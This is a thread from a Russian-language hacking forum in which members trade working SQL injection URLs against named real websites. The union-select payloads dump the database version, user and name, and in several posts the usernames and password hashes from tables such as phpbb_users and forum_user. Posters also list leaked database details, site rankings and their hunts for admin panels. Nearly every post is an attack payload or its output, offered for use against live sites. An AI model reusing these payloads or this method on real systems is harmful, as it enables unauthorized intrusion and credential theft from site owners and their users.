SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    SHA-1 пасс - FaileR1
     
    2 people like this.
  2. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Infos-Villes.com - PR 5
    /admin.php
    Ukhairdressers.com - pr 5
    непохек..)
     
    #5802 sabe, 1 Jul 2008
    Last edited: 2 Jul 2008
  3. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Code:
    http://www.dpmhi.com/news.php?id=-1+union+select+all+1,2,concat_ws(0x3a,version(),user(),database()),4,5--
    Code:
    http://www.jleen.com/page.php?id=-1+union+select+all+1,concat_ws(0x3a,version(),user(),database()),3--
     
    1 person likes this.
  4. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Тыц - тыц ...

     
    1 person likes this.
  5. echobyte

    echobyte Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    463
    Likes Received:
    190
    Reputations:
    50
    Code:
    http://tecnics.net.ru/?id=-1+UNION+SELECT+1,CONCAT(0x3a,Version(),0x3a,Database(),0x3a,User())/*
    
     
  6. theli

    theli New Member

    Joined:
    29 May 2008
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    http://budinfo.dp.ua/cgi-bin/org.php?id=7%20AND%201=2%20UNION%20SELECT%20concat(0x3c62723e,concat_ws(0x3a,user_level,username,user_password)),2,3,4,5,6,7,8%20from%20phpbb_users/*
     
  7. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    millery_millery@localhost:4.1.22-standard-log:millery_millery

    Code:
    http://www.ortho.ru/baza/kat-1.php?id=-1+union+select+1--
    Code:
    http://configdesign.com/1.php?id=-1+union+select+1,2,user(),database(),version(),6/*
    [email protected]

    manholec_projects

    4.1.20-log

    Code:
    http://www.jonathan-lane.com/nutcracker-detail-1.php?ID=-1+union+select+1,2%20--
     
    #5807 Mike 007, 2 Jul 2008
    Last edited: 2 Jul 2008
  8. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Сорьке админку не нашёл... =\

     
  9. theli

    theli New Member

    Joined:
    29 May 2008
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    никакой ценности но всё же :)
    Code:
    http://invest-zp.org.ua/?go=news&nomid=761%20AND%201=2%20UNION%20ALL%20SELECT%201,name,value,4,5,6,7,8,database(),0,1,2,3,4,5%20from%20options/*
    судя по
    http://invest-zp.org.ua/templates/
    и
    http://invest-zp.org.ua/includes/
    это чудовище сделано на базе какого-то шопа ... но админку я как-то не нашёл (если она там есть конечно)
     
  10. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    www.apc.ru
    Code:
    http://www.apc.ru/cgi-bin/news_full.cgi?id=-263+union+select+1,2,3,concat(name,':',password,':',email),5,6+from+forum_user/*
    
    User: [email protected]
    Version: 5.0.45-log
    тИЦ ресурса: 6200
     
    4 people like this.
  11. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Адрес: www.meteoprog.com.ua (82.144.221.182)

    Google PR 5 / 10
    Яндекс тИЦ 1600

    version() - 5.11
    Поля(важные):login,password
    Админка:
    Добавлено:
    Упс.. вот это я нашел в антибояне.. Но как видете версия бд, движок изменился.
    29.02.2008
     
    2 people like this.
  12. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Тынц.... =\

    www.kpla.kz


     
    1 person likes this.
  13. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    ....

     
  14. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    unesco.kz


    Админку не нашёл ... =\

     
    #5814 slider, 2 Jul 2008
    Last edited: 2 Jul 2008
  15. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    slider, ты конечно извини.. может быть я чего-то не понимаю.. но там есть кнопочка edit...
     
    1 person likes this.
  16. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.klincity.ru
     
    1 person likes this.
  17. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Тут нету скули...
     
  18. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    там есть скуля
     
  19. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Я имел ввиду id
     
  20. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    www.comingsoon.net


    Database Version: 4.1.22
    Database name: comingso_nextra
    User name: comingso_nextra@csn-node3-int


    вывод в мета тэгах
    sql-inj tool испробывал ))
     
    #5820 Dimi4, 3 Jul 2008
    Last edited: 3 Jul 2008
    2 people like this.
Thread Status:
Not open for further replies.